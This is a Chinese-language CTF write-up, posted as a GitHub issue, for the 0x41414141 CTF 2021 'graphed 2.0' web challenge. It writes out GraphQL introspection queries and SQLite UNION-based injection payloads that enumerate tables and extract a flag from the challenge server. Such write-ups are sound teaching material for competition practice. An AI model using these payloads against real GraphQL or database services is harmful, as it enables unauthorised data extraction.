aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

0x41414141 CTF 2021 - graphed 2.0

aszx87410 opened this issue · comments

commented

整個網頁都是沒有功能的

檢視原始碼會發現這樣一段 code:

<script>
    function create_note() {
        alert("sorry but this functionality is disabeled due to technical problems");
	//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
        //fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
    }

</script>

線索很明顯就是 graphql,接著試著打打看

http://207.180.200.166:8080/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}

發現確實建立了一個 note。

我對 graphql 不熟所以接下來開始亂試,發現有時候試到錯的東西會有提示,也太智慧了吧。試過以下東西:

http://207.180.200.166:8080/graphql?query={note{uuid}}
http://207.180.200.166:8080/graphql?query={getNotes{uuid}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}

後來透過 google: graphql query all fields

找到這篇:How to query all the GraphQL type fields without writing a long query?

就可以列舉出特定 object 的欄位:

{__type(name:"NoteObjectConnection") {fields {name,description}}}
{__type(name:"NoteObject") {fields {name,description}}}
{__type(name:"UserObject") {fields {name,description}}}
{__type(name:"UserObjectConnection") {fields {name,description}}}
{__type(name:"UserObjectEdge") {fields {name,description}}}

於是就可以拿到任何你想要的資料:

http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title, authorId, author, id}}
{allNotes{ edges{ node { id, uuid, title, body } } } }
{allUsers{ edges{ node { id, uuid, username } } } }

接著在 note 裡面發現一個 flag:CUCTF{graphql_d3f1n1tely_1s_the_futur30985}

然後在 discord 看到提醒,這個不是真的 flag,拿這個 flag 去找到之前的 CUCTF,找到前身的幾個 write up:

  1. https://sourque.dev/writeups/cuctf20/graphed/
  2. https://github.com/CUCyber/cuctf-2020-challenges/tree/main/web-exploitation/graphed

進而找到了這篇:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

發現這個超好用 query 可以拿到所有資訊:

{__schema{types{name,fields{name}}}}

接著卡關卡一陣子,不知道該怎麼繼續,然後在看上面列出來的資訊時看到 getNote 覺得滿可疑,然後帶的參數也可以從上面得知,就試試看什麼:

{getNote(q:"flag"){ id,uuid, title, body }}

發現毫無反應只回傳空的資料,就試了:

{getNote(q:"''"){ title }}

然後就成功爆炸了!

{
    "errors": [
        {
            "message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
            "locations": [
                {
                    "line": 1,
                    "column": 2
                }
            ],
            "path": [
                "getNote"
            ]
        }
    ],
    "data": {
        "getNote": null
    }
}

很明顯是 sqlite 的 injection,先看有幾個欄位:

{getNote(q:" ' union SELECT 1,1,1,1--"){ id,uuid, title, body }}

然後根據 SQLite Injection 拿到很多實用的資訊:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

{getNote(q:" ' union SELECT tbl_name,1,1,1 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){ id,uuid, title, body }}

在 table 裡面找到一個很可疑的 table name: العلم

接著弄出 sql

{getNote(q:" ' union SELECT sql,1,2,3 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){ id,uuid, title, body }}

結果:

'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)

最後就可以拿到 flag 了

{getNote(q:" ' union SELECT flag,1,2,3 FROM العلم --"){ id,uuid, title, body }}